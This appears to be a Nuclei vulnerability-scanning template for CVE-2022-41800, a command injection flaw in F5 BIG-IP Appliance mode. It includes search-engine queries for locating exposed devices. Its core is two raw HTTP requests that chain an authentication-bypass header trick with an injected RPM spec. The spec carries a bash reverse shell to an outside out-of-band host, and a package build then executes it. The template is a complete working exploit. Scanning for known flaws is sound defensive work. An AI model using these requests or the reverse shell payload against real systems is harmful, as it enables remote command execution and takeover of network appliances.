CVE-2022-41800: F5 BIG-IP Appliance Mode - Command Injection

id: CVE-2022-41800

info:
  name: F5 BIG-IP Appliance Mode - Command Injection
  author: dwisiswant0
  severity: high
  description: |
    When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint.
  remediation: |
    Apply security patches from F5 Networks as outlined in K97843387 and ensure Appliance mode restrictions are properly enforced.
  impact: |
    A successful exploit can allow the attacker to execute remote commands on server using authorization bypass (CVE-2022-1388).
  reference:
    - https://attackerkb.com/topics/ZClTQn4aG4/cve-2022-41800/rapid7-analysis
    - https://support.f5.com/csp/article/K97843387
    - https://support.f5.com/csp/article/K13325942
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://nvd.nist.gov/vuln/detail/cve-2022-41800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 8.7
    cve-id: CVE-2022-41800
    cwe-id: CWE-77
    epss-score: 0.76866
    epss-percentile: 0.99522
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query:
      - http.title:"big-ip®-+redirect" +"server"
      - http.html:"big-ip apm"
    fofa-query:
      - body="big-ip apm"
      - title="big-ip®-+redirect" +"server"
    google-query: intitle:"big-ip®-+redirect" +"server"
  tags: cve,cve2022,rce,f5,bigip,instrusive,vkev,vuln

variables:
  auth: "admin:{{rand_text_alpha(1)}}"
  rand_app: "{{to_lower(rand_text_alpha(6))}}"
  rand_ver: "{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}"
  rand_rel: "{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}"

http:
  - raw:
      - |
        POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
        Host: {{Hostname}}
        X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json
        Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host

        {
          "specFileData": {
            "name": "{{rand_app}}",
            "srcBasePath": "/tmp",
            "version": "{{rand_ver}}",
            "release": "{{rand_rel}}",
            "description": "\n\n%check\nbash -i >& /dev/tcp/{{interactsh-url}}/{{rand_text_numeric(4)}} 0>&1",
            "summary": "{{to_lower(rand_text_alphanumeric(10))}}"
          }
        }

      - |
        POST /mgmt/shared/iapp/build-package HTTP/1.1
        Host: {{Hostname}}
        X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json
        Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host

        {
          "state": {},
          "appName": "{{rand_app}}",
          "packageDirectory": "/tmp",
          "specFilePath": "{{spec}}",
          "force": true
        }

    extractors:
      - type: json
        part: body
        name: spec
        json:
          - ".specFilePath"
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "RUN_BUILD_RPM_TASK"
          - "shared:iapp:build-package:buildrpmtaskstate"
# digest: 490a004630440220142d3d9423c4328d5edafd82034ee0b884c546a4a2624a51491fed34c2d2ccc002204fdd964ce03176ac8ffee4541c452c074251f826f5943e6a719557418e84c98d:922c64590222798bb761d5b6d8e72950

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